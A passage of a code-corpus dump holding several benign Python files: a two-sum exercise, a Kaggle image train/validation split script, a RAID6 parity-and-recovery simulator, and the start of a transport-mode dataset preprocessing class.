kwargs1.isEquivalentTo(kwargs2)\n assert kwargs2.isEquivalentTo(kwargs1)\n assert kwargs1.isEquivalentTo(kwargs3)\n","sub_path":"tests/core/test_expectation_kwargs.py","file_name":"test_expectation_kwargs.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"197967327","text":"class Solution(object):\n\tdef twoSum(self, nums, target):\n\t\tdic = {}\n\t\tfor i in range(len(nums)):\n\t\t\tif nums[i] in dic:\n\t\t\t\treturn [dic[nums[i]], i]\n\t\t\telse:\n\t\t\t\tdic[target - nums[i]] = i\n\na = Solution()\nprint(a.twoSum([1,2,3,4], 7))","sub_path":"exercise/excercise1(2).py","file_name":"excercise1(2).py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"243742460","text":"##################################################################\n# This script splits the train_images into a train and validation\n# set and sets up the directories needed to use the keras\n# flow_from_directory data generator.\n# To run this, we need the following inside the original_data dir\n#\n# original_data/\n# |\n# --> test_images/\n# |\n# --> train_images/\n#\n# --> train_labels.csv\n#\n# test_images/ and train_images/ contain the .tif image files\n# The new data/ directory contains symlinks to the .tif files\n\nimport os\nimport pandas as pd\nimport numpy as np\n\nVALID_FRAC = .1 # What proportion of train to use as validation?\nRANDOM_SEED = 8 # For replicability\n\n\ndef train_valid_dict(df, frac_valid=.1):\n # This splits the dataset in df into train/validation subsets\n n = len(df)\n np.random.seed(seed=RANDOM_SEED)\n random = np.random.rand(n)\n train_id, valid_id = [], []\n for i in range(n):\n if random[i] > frac_valid:\n train_id.append(df['id'][i])\n else:\n valid_id.append(df['id'][i])\n partition = {'train': train_id, 'validation': valid_id}\n return partition\n\n\ndef main():\n # Make subdirectories\n original_data_dir = '/home/dtj/ml/kaggle/histopathologic_cancer/original_data'\n base_dir = '/home/dtj/ml/kaggle/histopathologic_cancer/data'\n\n train_dir = os.path.join(base_dir, 'train')\n validation_dir = os.path.join(base_dir, 'validation')\n test_dir = os.path.join(base_dir, 'test')\n test_images_dir = os.path.join(test_dir, 'test_images')\n\n train_cancer_dir = os.path.join(train_dir, 'cancer')\n train_healthy_dir = os.path.join(train_dir, 'healthy')\n validation_cancer_dir = os.path.join(validation_dir, 'cancer')\n validation_healthy_dir = os.path.join(validation_dir, 'healthy')\n\n try:\n os.mkdir(base_dir)\n os.mkdir(train_dir)\n os.mkdir(validation_dir)\n os.mkdir(test_dir)\n\n os.mkdir(train_cancer_dir)\n os.mkdir(train_healthy_dir)\n os.mkdir(validation_cancer_dir)\n os.mkdir(validation_healthy_dir)\n os.mkdir(test_images_dir)\n except OSError as e:\n print(\"OSError:\", e)\n return 0\n\n # Split into train and validation sets\n # dictionaries labels and partition\n # will be used to make symlinks\n df = pd.read_csv(os.path.join(original_data_dir, 'train_labels.csv'))\n labels = dict(zip([k for k in df['id']], [v for v in df['label']]))\n partition = train_valid_dict(df, VALID_FRAC)\n\n # Make symlinks\n for ID in partition['train']:\n fname = ID + '.tif'\n src = os.path.join(original_data_dir, 'train_images', fname)\n if labels[ID] == 0:\n dst = os.path.join(train_healthy_dir, fname)\n else:\n dst = os.path.join(train_cancer_dir, fname)\n os.symlink(src, dst)\n for ID in partition['validation']:\n fname = ID + '.tif'\n src = os.path.join(original_data_dir, 'train_images', fname)\n if labels[ID] == 0:\n dst = os.path.join(validation_healthy_dir, fname)\n else:\n dst = os.path.join(validation_cancer_dir, fname)\n os.symlink(src, dst)\n fnames = [k for k in os.listdir(os.path.join(original_data_dir, 'test_images'))]\n for fname in fnames:\n src = os.path.join(original_data_dir, 'test_images', fname)\n dst = os.path.join(test_images_dir, fname)\n os.symlink(src, dst)\n\n num_train_cancer = len(os.listdir(train_cancer_dir))\n num_train_healthy = len(os.listdir(train_healthy_dir))\n num_valid_cancer = len(os.listdir(validation_cancer_dir))\n num_valid_healthy = len(os.listdir(validation_healthy_dir))\n print('total training cancer images:', num_train_cancer)\n print('total training healthy images:', num_train_healthy)\n print('total validation cancer images:', num_valid_cancer)\n print('total validation healthy images:', num_valid_healthy)\n print('total test images:', len(os.listdir(test_images_dir)))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"setup_dirs.py","file_name":"setup_dirs.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"87722077","text":"import os\nimport sys\nimport shutil\nimport parity\nimport struct\nimport time\n\n\nclass RAID6:\n ''' \n This class can be used to simulate a RAID6 software implementation\n '''\n\n ###\n # Allow the user to define certains characteristics of the RAID6, like the CHUNK_SIZE\n # or the number of disk\n # It will also reinitialize any previous disk created\n ###\n def __init__(self):\n self.PATH = 'disks/'\n self.NUMBER_OF_DISKS = 8 # Safe to modify\n self.BYTE_SIZE = 8\n self.CHUNK_SIZE = 128 # Safe to modify\n\n self.current_index = 0 # Index where to write next\n self.current_disk_index = 0 # Disk where to write next\n\n self.P_INDEX = self.NUMBER_OF_DISKS - 2 # Index of the P disk\n self.Q_INDEX = self.NUMBER_OF_DISKS - 1 # Index of the Q disk\n\n self.ENFORCING_CHECK = True # Check the parity byte each read\n\n self.WRITING_INFO = 'b'\n\n #name:[{index, disk, offset, lenght}, ...]\n self.FILES_INFO = {} # Info to get the files accross multiples blocks\n\n #available_place\n self.ERASED_INFO = [] # Blocks erased and that can be reused\n\n self.DISKS_INFO = [] # Info on disk utilization\n\n # Removing old directory\n try:\n shutil.rmtree(self.PATH)\n except:\n pass\n for i in range(self.NUMBER_OF_DISKS):\n directory = \"disk_\" + str(i)\n if not os.path.exists(self.PATH + directory):\n os.makedirs(self.PATH + directory)\n\n ###\n # Simple function allowing to increase the disk index to know where to write next\n ###\n def increase_disk_index(self, ret=False):\n self.current_disk_index = (self.current_disk_index + 1) % (self.NUMBER_OF_DISKS - 2)\n\n ###\n # Simple function allowing to update the disk info to know if a block is \n # full.\n ###\n def update_disk_info(self, index, disk_index, lenght):\n try:\n self.DISKS_INFO[index][disk_index] = lenght\n except:\n self.DISKS_INFO.append([0 for i in range(self.NUMBER_OF_DISKS)]) \n self.DISKS_INFO[index][disk_index] = lenght\n\n ###\n # Store the parity of an index thanks to the parity file\n ###\n def store_parity(self, index_number):\n # Get chunk data from the index\n data, par = self.read_one_chunk(index_number,self_recovering=False)\n current_data = [[] for loop in range(self.CHUNK_SIZE)]\n for x in data:\n for i in range(len(x)):\n current_data[i].append(x[i])\n\n # Compute P and Q list on a byte to byte basis\n P = []\n Q = []\n for x in current_data:\n if len(x) > 0:\n P.append(parity.calculate_P(x))\n Q.append(parity.calculate_Q(x))\n\n self.update_disk_info(self.current_index, (self.P_INDEX + self.current_index) % self.NUMBER_OF_DISKS, len(P))\n self.update_disk_info(self.current_index, (self.Q_INDEX + self.current_index) % self.NUMBER_OF_DISKS, len(Q))\n\n # Store the parity\n with open(self.PATH + 'disk_' + str((self.P_INDEX + self.current_index) % self.NUMBER_OF_DISKS) + '/' + str(self.current_index), 'wb') as f:\n for x in P:\n f.write(struct.pack('b', x - 128))\n with open(self.PATH + 'disk_' + str((self.Q_INDEX + self.current_index) % self.NUMBER_OF_DISKS) + '/' + str(self.current_index), 'wb') as f:\n for x in Q: \n f.write(struct.pack('b', x - 128))\n\n ###\n # Write data to RAID6 disks with the associated name\n # Will create a temporary file in disks/\n ###\n def write_data(self, data, name):\n data_as_bytes = str.encode(data)\n\n with open(self.PATH + 'temp', 'wb') as f:\n f.write(data_as_bytes)\n\n return self.write_data_from_file(self.PATH + 'temp', name)\n \n ###\n # Write data to RAID 6 with the associated name from the file\n # If we want to write the file to a specific chunk, give a list in chunk_to_write\n # Offset allow to write from a certain part of the file (update)\n ###\n def write_data_from_file(self, file, name, chunk_to_write=[], offset=0):\n stat_info = os.stat(file)\n size = stat_info.st_size\n \n # Determining if the data can be write on previously used data\n if len(chunk_to_write) == 0:\n places_to_write = []\n for x in self.ERASED_INFO[:]:\n places_to_write.append(x)\n self.ERASED_INFO.remove(x)\n size -= x['lenght']\n if size <= 0:\n break\n if size > 0:\n places_to_write.append({'index': self.current_index, 'disk': self.current_disk_index, 'offset': 0, 'lenght': size})\n else:\n places_to_write = chunk_to_write\n\n # Opening the input file\n with open(file, \"rb\") as in_file:\n # Setting the offset accordingly\n if offset > 0:\n in_file.read(offset)\n\n # Reading each place to write the file to\n for place_to_write in places_to_write:\n # Loading position data\n starting_index = place_to_write['index']\n starting_disk = place_to_write['disk']\n starting_offset = place_to_write['offset']\n index = place_to_write['index']\n disk = place_to_write['disk']\n\n\n lenght_to_write = place_to_write['lenght']\n lenght_data = 0\n\n # Determining if we're going to write mid-disk\n heading_offset = 0\n if starting_offset > 0:\n lenght_data = 0\n while lenght_data + self.CHUNK_SIZE <= starting_offset:\n lenght_data += self.CHUNK_SIZE\n disk = (disk + 1) \n if disk == self.P_INDEX:\n index += 1\n disk = 0\n heading_offset = starting_offset - lenght_data\n\n # Determining if we're writing on new blocks which will have to be properly created\n live = False\n if index == self.current_index and disk == self.current_disk_index:\n live = True\n\n # Loading data if we have an offset\n lenght_data = starting_offset\n if heading_offset > 0:\n chunk_data = []\n with open(self.PATH + 'disk_' + str((disk + index) % self.NUMBER_OF_DISKS) + '/' + str(index), 'rb') as f:\n for _ in range(heading_offset):\n chunk_data.append(struct.unpack(\"b\", f.read(1))[0] + 128)\n else:\n chunk_data = []\n\n \n ### \n # MAIN WRITING LOOP \n ###\n while lenght_data < lenght_to_write:\n # Reading the values and converting them to int\n value = in_file.read(1)\n value = int.from_bytes(value, byteorder='big')\n chunk_data.append(value)\n lenght_data += 1\n\n # Writing the data to one disk\n if (len(chunk_data) == self.CHUNK_SIZE):\n with open(self.PATH + 'disk_' + str((disk + index) % self.NUMBER_OF_DISKS) + '/' + str(index), 'wb') as f:\n for j in range(self.CHUNK_SIZE):\n x = chunk_data[j]\n f.write(struct.pack('b', x - 128)) # write an int \n \n # Updating RAID6 writing data\n self.update_disk_info(index, (disk + index) % self.NUMBER_OF_DISKS, self.CHUNK_SIZE)\n if live:\n self.increase_disk_index()\n disk += 1\n chunk_data = []\n if disk == self.P_INDEX:\n self.store_parity(self.current_index)\n if live:\n self.current_index += 1\n index += 1\n disk = 0\n \n # If there is a uncomplete chunk, write trailing 0 to have proper parity calculation\n if len(chunk_data) > 0:\n with open(self.PATH + 'disk_' + str((index + disk) % self.NUMBER_OF_DISKS) + '/' + str(index), 'wb') as f:\n for j in range(len(chunk_data)):\n x = chunk_data[j]\n f.write(struct.pack('b', x - 128)) # write an int\n\n for j in range(len(chunk_data), self.CHUNK_SIZE):\t\n f.write(struct.pack('b', 0 - 128)) # write an int\t\n self.update_disk_info(self.current_index, (index + disk) % self.NUMBER_OF_DISKS, len(chunk_data))\n if live:\n self.increase_disk_index()\n disk += 1\n if disk == self.P_INDEX:\n self.store_parity(self.current_index)\n if live:\n self.current_index += 1\n index += 1\n disk = 0\n \n if disk > 0:\n self.store_parity(self.current_index)\n\n\n # Write the file info to the FILES_INFO index\n try:\n self.FILES_INFO[name].append({'index':starting_index, 'disk':starting_disk, 'offset':0, 'lenght':lenght_data})\n except:\n self.FILES_INFO[name] = [{'index':starting_index, 'disk':starting_disk, 'offset':0, 'lenght':lenght_data}]\n\n return True\n\n ###\n # Determining if an index is the P_index since P is store in a cyclic way\n ###\n def is_P_index(self, chunk_index, disk_index):\n if (chunk_index + self.P_INDEX) % self.NUMBER_OF_DISKS == disk_index:\n return True\n return False\n\n ###\n # Determining if an index is the Q_index since Q is store in a cyclic way\n ###\n def is_Q_index(self, chunk_index, disk_index):\n if (chunk_index + self.Q_INDEX) % self.NUMBER_OF_DISKS == disk_index:\n return True\n return False\n \n ###\n # Give the actual index of a disk since disk are stored in a cyclic way\n ###\n def actual_disk_index(self, index, disk):\n return (disk + (index % self.NUMBER_OF_DISKS) + self.NUMBER_OF_DISKS) % self.NUMBER_OF_DISKS\n\n ###\n # Read one index (all the disks), readying data and recovering disk loss\n # Some disks can be excluded while recovering data\n # Self recovering can be turned off in order to accomodate reading incomplete index\n ###\n def read_one_chunk(self, chunk_index, exclude=[], already_recovered=False, self_recovering=True):\n # If trying to read out of bounds indexes\n if chunk_index > self.current_index:\n return False\n data = [[] for loop in range(self.NUMBER_OF_DISKS - 2)]\n p = []\n q = []\n failed = []\n\n ### MAIN READING LOOP ###\n for i in range(self.NUMBER_OF_DISKS):\n # Ignoring excluded disks\n if (chunk_index + i) % self.NUMBER_OF_DISKS in exclude:\n continue\n try:\n # Reading and storing data in lists\n with open(self.PATH + 'disk_' + str((chunk_index + i) % self.NUMBER_OF_DISKS) + '/' + str(chunk_index), 'rb') as f:\n for _ in range(self.CHUNK_SIZE):\n try:\n if i % self.NUMBER_OF_DISKS == self.P_INDEX:\n p.append(struct.unpack(\"b\", f.read(1))[0] + 128)\n elif i % self.NUMBER_OF_DISKS == self.Q_INDEX:\n q.append(struct.unpack(\"b\", f.read(1))[0] + 128)\n else:\n data[i].append(struct.unpack(\"b\", f.read(1))[0] + 128)\n except:\n break\n \n # If a disk fails logging it\n except:\n if self_recovering and self.DISKS_INFO[chunk_index][(chunk_index + i) % self.NUMBER_OF_DISKS] > 0:\n failed.append((chunk_index + i) % self.NUMBER_OF_DISKS)\n\n # If a disk have failed and self recovery activated, trying to recover it\n if len(failed) > 0 and self_recovering: \n if self.ENFORCING_CHECK and len(exclude) == 0:\n if not already_recovered: \n print(\"[!] Error disk:\",failed,\"; Attempting recovery ...\")\n self.recovering_disks(failed)\n return self.read_one_chunk(chunk_index, exclude, True)\n else:\n raise IOError(\"Unrecoverable error\")\n\n if p != parity.calculate_P(data) or q != parity.calculate_Q(data):\n raise IOError(\"Error\")\n \n # Disk successfully recovered\n if already_recovered:\n print(\"[✓] Error recovered !\")\n\n return data, (p,q)\n\n ###\n # Read data to console given an index, disk and lenght to read\n # Not supposed to be used by end-user\n ###\n def read_data(self, starting_index, starting_disk, lenght):\n final_data = []\n local_index = starting_index\n\n i = 0\n # Read data from the right disk\n data, par = self.read_one_chunk(local_index)\n data = data[starting_disk:]\n i += self.CHUNK_SIZE * (len(data))\n final_data.extend(data)\n local_index += 1\n\n # While data to be read\n while i < lenght:\n data, par = self.read_one_chunk(local_index)\n i += self.CHUNK_SIZE * (self.NUMBER_OF_DISKS - 2)\n final_data.extend(data)\n local_index += 1\n \n original_data = \"\"\n i = 0\n for chunk_data in final_data:\n for x in chunk_data:\n original_data += chr(x)\n i += 1\n if i >= lenght:\n break\n if i >= lenght:\n break\n\n return original_data\n\n\n ###\n # Read data to a file given an index, disk and lenght to read\n # Not supposed to be used by end-user\n # Data can be add at the end of the file\n ###\n def read_data_to_file(self, file, starting_index, starting_disk, lenght, add=False):\n local_index = starting_index\n\n # Lenght of data read\n i = 0 \n\n # Writing method to write at the end of the file\n writing_method = \"wb\"\n if add:\n writing_method = \"ab\"\n\n # Opening the file\n with open(file, writing_method) as out_file:\n data, par = self.read_one_chunk(local_index)\n\n ## Starting at the right disk\n for j in range(starting_disk, len(data)):\n chunk_data = data[j]\n\n if (i + len(chunk_data) <= lenght):\n size_readable = self.DISKS_INFO[local_index][self.actual_disk_index(local_index, j)]\n chunk_data = chunk_data[:size_readable]\n i += len(chunk_data[:size_readable])\n out_file.write(bytes(chunk_data[:size_readable]))\n else:\n out_file.write(bytes(chunk_data[:lenght - i]))\n i = lenght\n break\n\n \n local_index += 1\n\n # While we have data to read, write them to disk\n while i < lenght:\n data, par = self.read_one_chunk(local_index)\n for j in range(len(data)):\n chunk_data = data[j]\n if (i + len(chunk_data) <= lenght):\n size_readable = self.DISKS_INFO[local_index][self.actual_disk_index(local_index, j)]\n chunk_data = chunk_data[:size_readable]\n i += len(chunk_data[:size_readable])\n out_file.write(bytes(chunk_data[:size_readable]))\n else:\n out_file.write(bytes(chunk_data[:lenght - i]))\n i = lenght\n break\n local_index += 1\n\n return True\n\n\n ###\n # Allow to recover up to 2 deleted disks\n # Use the parity file to do all the computations\n ###\n def recovering_disks(self, disks_number):\n # Recreate the folder\n for i in disks_number:\n try:\n os.makedirs(\"disks/disk_\" + str(i))\n except:\n pass\n \n # One disk recovery case\n if len(disks_number) == 1:\n disk_number = disks_number[0]\n index = 0\n max_index = self.current_index\n if self.current_disk_index > disk_number:\n max_index += 1\n\n # Recovering all the indexes\n while index < max_index:\n data, par = self.read_one_chunk(index, disks_number)\n\n\n P,Q = par\n data_packed = [[] for _ in range(self.CHUNK_SIZE)]\n\n for x in data:\n for i in range(len(x)):\n data_packed[i].append(x[i])\n \n # Use case 1\n if P != [] and Q != []:\n dat = [] \n for i in range(len(data_packed)):\n dat.append(parity.recover_one_chunk_with_P(data_packed[i], P[i]))\n\n try:\n if self.DISKS_INFO[index][disk_number] < self.CHUNK_SIZE:\n dat = dat[:self.DISKS_INFO[index][disk_number]]\n except:\n return\n\n with open(self.PATH + 'disk_' + str(disk_number) + '/' + str(index), 'wb') as f:\n for value in dat:\n f.write(struct.pack('b', value - 128))\n\n # Use case 2\n elif P == []:\n with open(self.PATH + 'disk_' + str(disk_number) + '/' + str(index), 'wb') as f:\n for i in range(len(data_packed)):\n p = parity.calculate_P(data_packed[i])\n f.write(struct.pack('b', p - 128))\n \n # Use case 3\n elif Q == []:\n with open(self.PATH + 'disk_' + str(disk_number) + '/' + str(index), 'wb') as f:\n for i in range(len(data_packed)):\n q = parity.calculate_Q(data_packed[i])\n f.write(struct.pack('b', q - 128))\n index += 1\n\n ## Two disk recovery case\n elif len(disks_number) == 2:\n disk1_number = disks_number[0]\n disk2_number = disks_number[1]\n\n i = 0\n while i < self.current_index:\n data, par = self.read_one_chunk(i, disks_number)\n P,Q = par\n\n data_packed = [[] for _ in range(self.CHUNK_SIZE)]\n\n for k in range(self.CHUNK_SIZE):\n for j in range(len(data)):\n try:\n data_packed[k].append(data[j][k])\n except:\n data_packed[k].append(0)\n\n # Use case 1\n if P == [] and Q == []:\n self.store_parity(i)\n\n # Use case 2\n elif P != [] and Q != []:\n #Get current position of the data in the list\n actual_index1 = (disk1_number - (i % self.NUMBER_OF_DISKS) + self.NUMBER_OF_DISKS) % self.NUMBER_OF_DISKS\n actual_index2 = (disk2_number - (i % self.NUMBER_OF_DISKS) + self.NUMBER_OF_DISKS) % self.NUMBER_OF_DISKS\n \n with open(self.PATH + 'disk_' + str(disk1_number) + '/' + str(i), 'wb') as f1, open(self.PATH + 'disk_' + str(disk2_number) + '/' + str(i), 'wb') as f2:\n for k in range(len(data_packed)): \n a,b = parity.recover_two_chunk(data_packed[k], P[k], Q[k], actual_index1, actual_index2)\n f1.write(struct.pack('b', a - 128))\n f2.write(struct.pack('b', b - 128))\n \n # Use case 3\n elif P == [] :\n data_index = disk1_number\n p_index = disk2_number\n if self.is_P_index(i, disk1_number):\n data_index = disk2_number\n p_index = disk1_number\n\n with open(self.PATH + 'disk_' + str(data_index) + '/' + str(i), 'wb') as f1, open(self.PATH + 'disk_' + str(p_index) + '/' + str(i), 'wb') as f2:\n #Get current position of the data in the list\n actual_index = int((data_index - (i % self.NUMBER_OF_DISKS) + self.NUMBER_OF_DISKS) % self.NUMBER_OF_DISKS)\n #data.insert(actual_index, 0)\n for k in range(len(data_packed)):\n data_packed[k][actual_index] = parity.recover_one_chunk_with_Q(data_packed[k], Q[k], actual_index)\n f1.write(struct.pack('b', data_packed[k][actual_index] - 128))\n f2.write(struct.pack('b', parity.calculate_P(data_packed[k]) - 128))\n \n # Use case 4\n elif Q == [] :\n data_index = disk1_number\n q_index = disk2_number\n if self.is_Q_index(i, disk1_number):\n data_index = disk2_number\n q_index = disk1_number\n\n with open(self.PATH + 'disk_' + str(data_index) + '/' + str(i), 'wb') as f1, open(self.PATH + 'disk_' + str(q_index) + '/' + str(i), 'wb') as f2:\n #Get current position of the data in the list\n actual_index = int((data_index - (i % self.NUMBER_OF_DISKS) + self.NUMBER_OF_DISKS) % self.NUMBER_OF_DISKS)\n for k in range(len(data_packed)):\n data_packed[k][actual_index] = parity.recover_one_chunk_with_P(data_packed[k], P[k])\n f1.write(struct.pack('b', data_packed[k][actual_index] - 128))\n f2.write(struct.pack('b', parity.calculate_Q(data_packed[k]) - 128))\n \n\n i += 1\n\n ###\n # Deleting data based on their name\n # Data will still be on disk but can be rewritten on\n ###\n def delete_data(self, name):\n try:\n position_info = self.FILES_INFO.pop(name)\n for x in position_info:\n self.ERASED_INFO.append(x)\n\n return True\n except:\n return False\n\n ###\n # Update data stored based on their name\n # Will compare data to only store changed data\n ###\n def update_data_from_file(self, filename, name):\n stat_info = os.stat(filename)\n total_size = stat_info.st_size\n\n saved_data = self.get_data_from_name(name)\n similar_size = 0\n with open(filename, \"rb\") as in_file:\n while similar_size < total_size:\n try:\n data = in_file.read(1)\n if data == str.encode(saved_data[similar_size]):\n similar_size += 1\n else:\n break\n except:\n break\n file_info = self.FILES_INFO[name]\n total_size_saved = 0\n for x in file_info:\n total_size_saved += x['lenght']\n\n\n #Getting the place to write\n size_to_write = total_size - similar_size\n similar_ = similar_size\n writing_to = []\n totally_written = False\n already_written = 0\n for x in file_info[:]:\n #Removing trailing data blocks\n if totally_written:\n file_info.remove(x)\n self.ERASED_INFO.append(x)\n similar_ -= x['lenght']\n if similar_ < 0:\n a = x.copy()\n file_info.remove(x)\n added_size_to_fill = 0\n\n if a['lenght'] % self.CHUNK_SIZE != 0:\n added_size_to_fill = a['lenght']\n a['lenght'] = a['lenght'] + (self.CHUNK_SIZE - a['lenght'] % self.CHUNK_SIZE)\n added_size_to_fill = a['lenght'] - added_size_to_fill\n\n if similar_ + a['lenght'] > 0:\n a['offset'] = similar_ + a['lenght']\n\n\n\n already_written += a['lenght'] - a['offset']\n if a['lenght'] - a['offset'] >= size_to_write:\n totally_written = True\n old_size = a['lenght']\n a['lenght'] = size_to_write + similar_ + a['lenght'] - added_size_to_fill\n #freeing space\n index = a['index']\n disk = a['disk']\n data_w = 0\n while data_w < a['lenght']:\n data_w += self.CHUNK_SIZE\n disk = (disk + 1) \n if disk == self.P_INDEX:\n index += 1\n disk = 0\n self.ERASED_INFO.append({'index':index, 'disk':disk, 'offset':0, 'lenght':old_size - data_w})\n\n\n writing_to.append(a)\n\n if already_written < size_to_write:\n writing_to.append({'index':self.current_index, 'disk':self.current_disk_index, 'offset':0, 'lenght':size_to_write - already_written})\n\n return self.write_data_from_file(filename, name, chunk_to_write=writing_to, offset=similar_size)\n\n ###\n # Get the data from their name\n ###\n def get_data_from_name(self, name):\n try:\n position_info = self.FILES_INFO[name]\n data = \"\"\n for x in position_info:\n data += self.read_data(x['index'], x['disk'], x['lenght'])\n return data\n except:\n return False\n \n ###\n # Write data to a file from their name\n ###\n def get_data_to_file_from_name(self, filename, name):\n try:\n position_info = self.FILES_INFO[name]\n success = self.read_data_to_file(filename, position_info[0]['index'], position_info[0]['disk'], position_info[0]['lenght'])\n for x in position_info[1:]:\n success = success and self.read_data_to_file(filename, x['index'], x['disk'], x['lenght'], add=True)\n return success\n except:\n return False\n\n\n","sub_path":"CE7490_Project2/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":27055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"136823426","text":"import csv\nimport logging\nimport os\nimport re\nimport shutil\nfrom os import listdir\nimport pandas as pd\nimport datasets.const as const\nimport datasets.util as util\nimport sys\nimport math\nimport numpy as np\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.feature_selection import RFECV\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_selection import SelectKBest, mutual_info_classif\nfrom sklearn.preprocessing import RobustScaler\n\n\nclass TMDataset:\n \"\"\"\n Class that implements all preprocessing steps used in TMD Dataset\n \"\"\"\n\n EXTRACTED_FEATURE_KEYS = [\n \"#mean\", \"#median\", \"#min\", \"#max\", \"#std\", \"#skewness\", \"#kurtosis\", \"#ptp\", \"#q1\", \"#q3\", \"#iqrange\",\n \"#var\", \"#entropy\", \"#fft_highest_magnitude\", \"#fft_highest_magnitude_frequency\", \"#fft_total_spectrum\",\n \"#fft_spectral_density\", \"#fft_spectral_entropy\", \"#fft_spectral_centroid\", \"#fft_total_phase\"\n ]\n\n FEATURE_KEY = 'feature_key'\n PREVIOUS_LIST_KEY = 'previous_list'\n CURRENT_LIST_KEY = 'current_list'\n TRAVEL_MODE_COLUMN = 'target'\n USER_ID_COLUMN = 'user'\n BEST_FEATURES_OUTPUT_FILE = 'best_features.csv'\n BEST_SIGNALS_OUTPUT_FILE = 'best_signals.csv'\n\n def __init__(self):\n \"\"\"\n Initialize preprocessing variables and parameters\n \"\"\"\n self.tm = []\n self.users = []\n self.sensors = []\n self.n_files = 0\n self.header = {}\n self.header_with_features = {}\n self.balance_time = 0 # in seconds\n self.train = pd.DataFrame()\n self.test = pd.DataFrame()\n self.cv = pd.DataFrame()\n\n # ------------------------------------------------------------ METHODS ------------------------------------------- #\n\n def create_balanced_dataset(self, split_dataset=True):\n \"\"\"\n Create balanced dataset using downsampling\n :param split_dataset:\n :return:\n \"\"\"\n\n # create dataset from files\n self.create_dataset()\n\n # set save dirs\n dir_src = const.DIR_DATASET\n file_src = const.FILE_DATASET\n file_dst = const.FILE_DATASET_BALANCED\n\n # save dataset before balancing\n if not os.path.exists(dir_src):\n self.create_dataset()\n\n # load data from dataset in memory\n if len(self.users) == 0 or len(self.sensors) == 0 or len(self.tm) == 0:\n self.fill_data_structure()\n\n print(\"START CREATE BALANCED DATASET....\")\n df = pd.read_csv(dir_src + \"/\" + file_src)\n\n # get minimum number of samples per transportation mode\n min_windows = df.shape[0]\n for t in self.tm:\n df_t = df.loc[df['target'] == t]\n if df_t.shape[0] <= min_windows:\n min_windows = df_t.shape[0]\n\n # group samples by user and mode\n target_df = df.groupby(['target', 'user']).agg({'target': 'count'})\n target_df['percent'] = target_df.groupby(level=0).apply(lambda x: 100 * x / float(x.sum()))\n target_df.loc[:, 'num'] = target_df.apply(lambda row: util.to_num(row, min_windows), axis=1)\n\n # build new dataset with same number of samples for each mode and user through downsampling\n self.balance_time = min_windows\n dataset_incremental = pd.DataFrame(columns=df.columns)\n for index, rows in target_df.iterrows():\n current_df = df.loc[(df['user'] == index[1]) & (df['target'] == index[0])]\n if current_df.shape[0] == rows['num']:\n dataset_incremental = pd.concat([dataset_incremental, current_df])\n else:\n df_curr = current_df.sample(n=int(rows['num'])) # down sampling\n dataset_incremental = pd.concat([dataset_incremental, df_curr])\n\n # save balanced dataset to csv\n dataset_incremental.to_csv(dir_src + '/' + file_dst, index=False)\n if split_dataset:\n self.split_dataset(dataset_incremental)\n\n print(\"END CREATE BALANCED DATASET....\")\n\n def create_dataset(self):\n \"\"\"\n Create dataset\n :return:\n \"\"\"\n dir_src = const.DIR_RAW_DATA_FEATURES\n dir_dst = const.DIR_DATASET\n file_dst = const.FILE_DATASET\n\n # create files with time window if not exsist\n if not os.path.exists(dir_src):\n self.create_time_files()\n\n if not os.path.exists(dir_dst):\n os.makedirs(dir_dst)\n filenames = listdir(dir_src)\n result_file_path = os.path.join(dir_dst, file_dst)\n with open(result_file_path, 'w') as result_file:\n j = 0\n for file in filenames:\n if file.endswith(\".csv\"):\n current_file_path = os.path.join(dir_src, file)\n with open(current_file_path) as current_file: # tm file\n i = 0\n for line in current_file:\n # if the current line is not the first, the header\n if i != 0:\n result_file.write(line)\n else:\n if j == 0:\n result_file.write(line)\n i += 1\n j += 1\n # else:\n # shutil.rmtree(dir_dst)\n # os.makedirs(dir_dst)\n\n def get_best_raw_signals(self, include_indicators=True, **kwargs):\n \"\"\"\n Retrieves list of raw signal features headers\n :return:\n \"\"\"\n\n # check if best features have been selected before\n best_signal_path = const.DIR_RAW_DATASET + \"/\" + self.BEST_SIGNALS_OUTPUT_FILE\n if os.path.isfile(best_signal_path) is False:\n\n # load raw signal headers\n raw_signal_features = self.get_raw_signals()\n\n # load preprocessed dataset\n dataframe = self.get_preprocessed_dataset()\n features_dataframe = dataframe[raw_signal_features]\n classes_dataframe = dataframe[self.TRAVEL_MODE_COLUMN]\n\n # execute feature selection with RFE\n feature_columns = self._get_best_sensor_features_with_rfe(\n features_dataframe=features_dataframe,\n classes_dataframe=classes_dataframe,\n **kwargs\n )\n features_dataframe = dataframe[feature_columns]\n n_features = len(feature_columns)\n\n # execute dimensionality reduction with KBest\n max_features = int(math.sqrt(len(dataframe))) # rule of thumb\n feature_columns = self._get_best_sensor_features_with_kbest(\n features_dataframe=features_dataframe,\n classes_dataframe=classes_dataframe,\n k_features=min(n_features, max_features),\n **kwargs\n )\n\n # include indicators\n raw_signal_features = list()\n for column in feature_columns:\n raw_signal_features.append(column)\n if include_indicators:\n raw_signal_features.append(\n column.replace('#0', '#1')\n ) # 0 = signal, 1 = missing indicator\n\n # save selected features names in file\n with open(best_signal_path, mode='x', newline='') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',')\n csvwriter.writerow(['feature_header_column'])\n for column in raw_signal_features:\n csvwriter.writerow([column])\n\n # retrieve best features lists\n return pd.read_csv(best_signal_path).values.flatten().tolist()\n\n def get_raw_signals(self):\n \"\"\"\n Return raw signal columns\n :return:\n \"\"\"\n\n # load headers\n if len(self.header) == 0:\n self.fill_data_structure()\n\n raw_signal_features = list()\n for i in self.header:\n if 'activityrecognition' not in self.header[i] and self.header[i] not in ['target', 'user', 'time']:\n raw_signal_features.append(self.header[i])\n return raw_signal_features\n\n def create_raw_dataset(self):\n \"\"\"\n Create dataset of raw signals and indicators of abscence of presence of signal\n :return:\n \"\"\"\n\n dir_src = const.DIR_RAW_DATA_HEADER\n dir_dst = const.DIR_RAW_DATASET\n 